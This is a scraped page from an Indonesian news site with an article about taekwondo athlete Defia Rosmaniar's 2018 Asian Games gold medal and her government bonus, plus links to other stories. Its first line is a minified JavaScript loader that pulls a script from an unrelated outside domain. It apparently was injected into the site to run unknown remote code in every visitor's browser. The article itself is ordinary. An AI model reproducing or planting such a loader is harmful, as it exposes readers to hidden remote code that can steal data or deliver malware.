(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Sukses Defia Rosmaniar meraih emas pertama Indonesia di Asian Games 2018 tidak cuma diiringi puja-puji. Atlet taekwondo kelahiran Bogor ini juga diguyur bonus Rp 1,5 miliar oleh pemerintah.
Nominal tersebut dikonfirmasi Menteri Pemuda dan Olahraga (Menpora), Imam Nahrawi, di Jakarta Convention Center, Minggu (19/8). Imam turut menjadi saksi kemenangan Defia ketika menemani Presiden RI, Joko Widodo, di tribune.
Ya, angka Rp 1,5 miliar memang sesuai janji Imam. Sebelum pesta olahraga se-Asia ini berlangsung atau tepatnya pada Maret 2018 lalu, dia sempat menyatakan bahwa bonus bakal meningkat signifikan. Di Asian Games 2014, setiap peraih medali emas cuma diganjar Rp 400 juta.
Bonus besar juga sampai ke telinga Defia. Sosok 23 tahun ini pun sudah memiliki rencana ke mana uang tersebut dialokasikan, salah satunya memberangkatkan ibunya naik haji.
“Emas ini saya persembahkan untuk keluarga, pelatih dan tentunya rakyat Indonesia. Saya berterima kasih kepada orang tua, pelatih dan teman-teman yang sudah mendukung aku. Nanti bonus untuk memberangkatkan ibunya naik haji,” ujar Defia.
 “Saya senang dan bangga bisa meraih medali emas. Apalagi tadi, Pak Presiden sampai final dan juga mengalungkan medali emas, jadi tambah semangat. Tadi saat saya bertemu dengan Pak Presiden, beliau merasa bangga dan medali emas ini dipersembahkan untuk Indonesia,” tuturnya dilansir Kumparan.com.
Defia sendiri memastikan emas setelah mengalahkan Marjan Salahshouri asal Iran dengan skor 8.690-8.470 dalam partai final nomor indvidu poomsae putri. Dia merayakan kemenangannya dengan berlari mengelilingi lapangan sambil mengibarkan bendera Indonesia.
Kemenangan Defia sebetulnya tidak mengherankan. Dia memang sudah merengkuh sejumlah prestasi sebelum Asian Games. Salah satunya, Defia merebut emas di nomor serupa pada Kejuaraan Asia 2018 di Ho Chi Minh, Vietnam, Mei 2018.
Kendati begitu, Defia justru mengaku tak menyangka. Sebab, Asian Games 2018 merupakan debutnya di pesta olahraga se-Asia tersebut. “Saya tampil di Asian Games ini baru pertama kali dan saya tidak nyangka akan mendapatkan emas. Di olahraga itu kita tidak tahu hasil akhirnya, pastinya memang dan kalah tapi yang penting kita berusaha untuk memberikan yang terbaik,” ucap Defia. (sel/kum)
<
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.